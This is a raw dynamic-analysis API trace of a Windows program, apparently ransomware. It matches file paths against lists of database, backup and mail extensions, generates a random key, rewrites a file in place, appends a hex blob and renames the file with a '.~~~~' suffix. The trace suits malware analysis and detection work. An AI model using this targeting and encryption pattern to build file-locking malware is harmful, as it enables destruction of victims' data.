	[0143.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".bac") returned 0x0
	[0143.070] lstrlenW (lpString=".mdf") returned 4
	[0143.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".mdf") returned 0x0
	[0143.070] lstrlenW (lpString=".BAK") returned 4
	[0143.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".BAK") returned 0x0
	[0143.070] lstrlenW (lpString=".BAC") returned 4
	[0143.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".BAC") returned 0x0
	[0143.070] lstrlenW (lpString=".dbs") returned 4
	[0143.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".dbs") returned 0x0
	[0143.070] lstrlenW (lpString=".vhdx") returned 5
	[0143.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.070] lstrlenW (lpString=".NDF") returned 4
	[0143.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".NDF") returned 0x0
	[0143.070] lstrlenW (lpString=".dat") returned 4
	[0143.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".dat") returned 0x0
	[0143.070] lstrlenW (lpString=".DBS") returned 4
	[0143.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".DBS") returned 0x0
	[0143.070] lstrlenW (lpString=".CKP") returned 4
	[0143.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".CKP") returned 0x0
	[0143.070] lstrlenW (lpString=".edb") returned 4
	[0143.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".edb") returned 0x0
	[0143.071] lstrlenW (lpString=".PST") returned 4
	[0143.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".PST") returned 0x0
	[0143.071] lstrlenW (lpString=".dbf") returned 4
	[0143.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".dbf") returned 0x0
	[0143.071] lstrlenW (lpString=".SQL") returned 4
	[0143.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".SQL") returned 0x0
	[0143.071] lstrlenW (lpString=".pst") returned 4
	[0143.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".pst") returned 0x0
	[0143.071] lstrlenW (lpString=".dbv") returned 4
	[0143.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".dbv") returned 0x0
	[0143.071] lstrlenW (lpString=".SDF") returned 4
	[0143.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".SDF") returned 0x0
	[0143.071] lstrlenW (lpString=".dtxs") returned 5
	[0143.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.071] lstrlenW (lpString=".db3") returned 4
	[0143.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".db3") returned 0x0
	[0143.071] lstrlenW (lpString=".OST") returned 4
	[0143.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".OST") returned 0x0
	[0143.071] lstrlenW (lpString=".dbx") returned 4
	[0143.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".dbx") returned 0x0
	[0143.071] lstrlenW (lpString=".DB3") returned 4
	[0143.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".DB3") returned 0x0
	[0143.071] lstrlenW (lpString=".DAT") returned 4
	[0143.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".DAT") returned 0x0
	[0143.072] lstrlenW (lpString=".VHDX") returned 5
	[0143.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.072] lstrlenW (lpString=".ndf") returned 4
	[0143.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".ndf") returned 0x0
	[0143.072] lstrlenW (lpString=".DB") returned 3
	[0143.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".DB") returned 0x0
	[0143.072] lstrlenW (lpString=".sql") returned 4
	[0143.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".sql") returned 0x0
	[0143.072] lstrlenW (lpString=".MYD") returned 4
	[0143.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".MYD") returned 0x0
	[0143.072] lstrlenW (lpString=".DBT") returned 4
	[0143.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".DBT") returned 0x0
	[0143.072] lstrlenW (lpString=".ACCDB") returned 6
	[0143.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.072] lstrlenW (lpString=".fdb") returned 4
	[0143.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".fdb") returned 0x0
	[0143.072] lstrlenW (lpString=".bak") returned 4
	[0143.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".bak") returned 0x0
	[0143.072] lstrlenW (lpString=".myd") returned 4
	[0143.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".myd") returned 0x0
	[0143.072] lstrlenW (lpString=".DTXS") returned 5
	[0143.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.072] lstrlenW (lpString=".ckp") returned 4
	[0143.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".ckp") returned 0x0
	[0143.073] lstrlenW (lpString=".dbt") returned 4
	[0143.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".dbt") returned 0x0
	[0143.073] lstrlenW (lpString=".db") returned 3
	[0143.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".db") returned 0x0
	[0143.073] lstrlenW (lpString=".TXT") returned 4
	[0143.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".TXT") returned 0x0
	[0143.073] lstrlenW (lpString=".MDF") returned 4
	[0143.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".MDF") returned 0x0
	[0143.073] lstrlenW (lpString=".bdb") returned 4
	[0143.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".bdb") returned 0x0
	[0143.073] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0143.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362c70
	[0143.073] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395498) returned 1
	[0143.075] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0143.075] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0143.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0143.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0143.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0143.075] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26306508378) returned 1
	[0143.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbeae3d10, dwHighDateTime=0x1d60e1e)) 
	[0143.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0143.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0143.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0143.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e55b0
	[0143.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0143.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e55b0 | out: hHeap=0x300000) returned 1
	[0143.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0143.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0143.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0143.077] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0143.077] GetLastError () returned 0x0
	[0143.077] GetLastError () returned 0x0
	[0143.077] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0143.077] GetLastError () returned 0x0
	[0143.077] GetLastError () returned 0x0
	[0143.077] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x17bb, lpOverlapped=0x0) returned 1
	[0143.080] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe845, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.080] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x17bb, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x17bb, lpOverlapped=0x0) returned 1
	[0143.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.080] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.080] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.080] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.080] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.081] CloseHandle (hObject=0x138) returned 1
	[0143.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0143.081] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45b.gif.~~~~")) returned 1
	[0143.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0143.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0143.083] GetLastError () returned 0x0
	[0143.084] RtlWakeConditionVariable () returned 0x0
	[0143.084] GetCurrentThreadId () returned 0x9f4
	[0143.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".scr") returned 0x0
	[0143.084] lstrlenW (lpString=".cmd") returned 4
	[0143.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".cmd") returned 0x0
	[0143.084] lstrlenW (lpString=".dll") returned 4
	[0143.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".dll") returned 0x0
	[0143.084] lstrlenW (lpString=".bat") returned 4
	[0143.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".bat") returned 0x0
	[0143.084] lstrlenW (lpString=".cpl") returned 4
	[0143.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".cpl") returned 0x0
	[0143.084] lstrlenW (lpString=".sys") returned 4
	[0143.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".sys") returned 0x0
	[0143.084] lstrlenW (lpString=".msc") returned 4
	[0143.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".msc") returned 0x0
	[0143.084] lstrlenW (lpString=".com") returned 4
	[0143.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".com") returned 0x0
	[0143.084] lstrlenW (lpString=".lnk") returned 4
	[0143.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".lnk") returned 0x0
	[0143.084] lstrlenW (lpString=".msp") returned 4
	[0143.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".msp") returned 0x0
	[0143.084] lstrlenW (lpString=".pif") returned 4
	[0143.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".pif") returned 0x0
	[0143.085] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0143.086] lstrlenW (lpString=".sqb") returned 4
	[0143.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".sqb") returned 0x0
	[0143.087] lstrlenW (lpString=".ost") returned 4
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".ost") returned 0x0
	[0143.087] lstrlenW (lpString=".txt") returned 4
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".txt") returned 0x0
	[0143.087] lstrlenW (lpString=".mdt") returned 4
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".mdt") returned 0x0
	[0143.087] lstrlenW (lpString=".BDB") returned 4
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".BDB") returned 0x0
	[0143.087] lstrlenW (lpString=".eql") returned 4
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".eql") returned 0x0
	[0143.087] lstrlenW (lpString=".DBF") returned 4
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".DBF") returned 0x0
	[0143.087] lstrlenW (lpString=".EQL") returned 4
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".EQL") returned 0x0
	[0143.087] lstrlenW (lpString=".FDB") returned 4
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".FDB") returned 0x0
	[0143.087] lstrlenW (lpString=".EDB") returned 4
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".EDB") returned 0x0
	[0143.087] lstrlenW (lpString=".DACPAC") returned 7
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.087] lstrlenW (lpString=".VHD") returned 4
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".VHD") returned 0x0
	[0143.087] lstrlenW (lpString=".DBV") returned 4
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".DBV") returned 0x0
	[0143.087] lstrlenW (lpString=".dacpac") returned 7
	[0143.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.087] lstrlenW (lpString=".sdf") returned 4
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".sdf") returned 0x0
	[0143.088] lstrlenW (lpString=".accdb") returned 6
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".accdb") returned 0x0
	[0143.088] lstrlenW (lpString=".DBX") returned 4
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".DBX") returned 0x0
	[0143.088] lstrlenW (lpString=".MDT") returned 4
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".MDT") returned 0x0
	[0143.088] lstrlenW (lpString=".SQB") returned 4
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".SQB") returned 0x0
	[0143.088] lstrlenW (lpString=".vhd") returned 4
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".vhd") returned 0x0
	[0143.088] lstrlenW (lpString=".bac") returned 4
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".bac") returned 0x0
	[0143.088] lstrlenW (lpString=".mdf") returned 4
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".mdf") returned 0x0
	[0143.088] lstrlenW (lpString=".BAK") returned 4
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".BAK") returned 0x0
	[0143.088] lstrlenW (lpString=".BAC") returned 4
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".BAC") returned 0x0
	[0143.088] lstrlenW (lpString=".dbs") returned 4
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".dbs") returned 0x0
	[0143.088] lstrlenW (lpString=".vhdx") returned 5
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.088] lstrlenW (lpString=".NDF") returned 4
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".NDF") returned 0x0
	[0143.088] lstrlenW (lpString=".dat") returned 4
	[0143.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".dat") returned 0x0
	[0143.089] lstrlenW (lpString=".DBS") returned 4
	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".DBS") returned 0x0
	[0143.089] lstrlenW (lpString=".CKP") returned 4
	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".CKP") returned 0x0
	[0143.089] lstrlenW (lpString=".edb") returned 4
	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".edb") returned 0x0
	[0143.089] lstrlenW (lpString=".PST") returned 4
	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".PST") returned 0x0
	[0143.089] lstrlenW (lpString=".dbf") returned 4
	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".dbf") returned 0x0
	[0143.089] lstrlenW (lpString=".SQL") returned 4
	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".SQL") returned 0x0
	[0143.089] lstrlenW (lpString=".pst") returned 4
	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".pst") returned 0x0
	[0143.089] lstrlenW (lpString=".dbv") returned 4
	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".dbv") returned 0x0
	[0143.089] lstrlenW (lpString=".SDF") returned 4
	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".SDF") returned 0x0
	[0143.089] lstrlenW (lpString=".dtxs") returned 5
	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.089] lstrlenW (lpString=".db3") returned 4
	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".db3") returned 0x0
	[0143.089] lstrlenW (lpString=".OST") returned 4
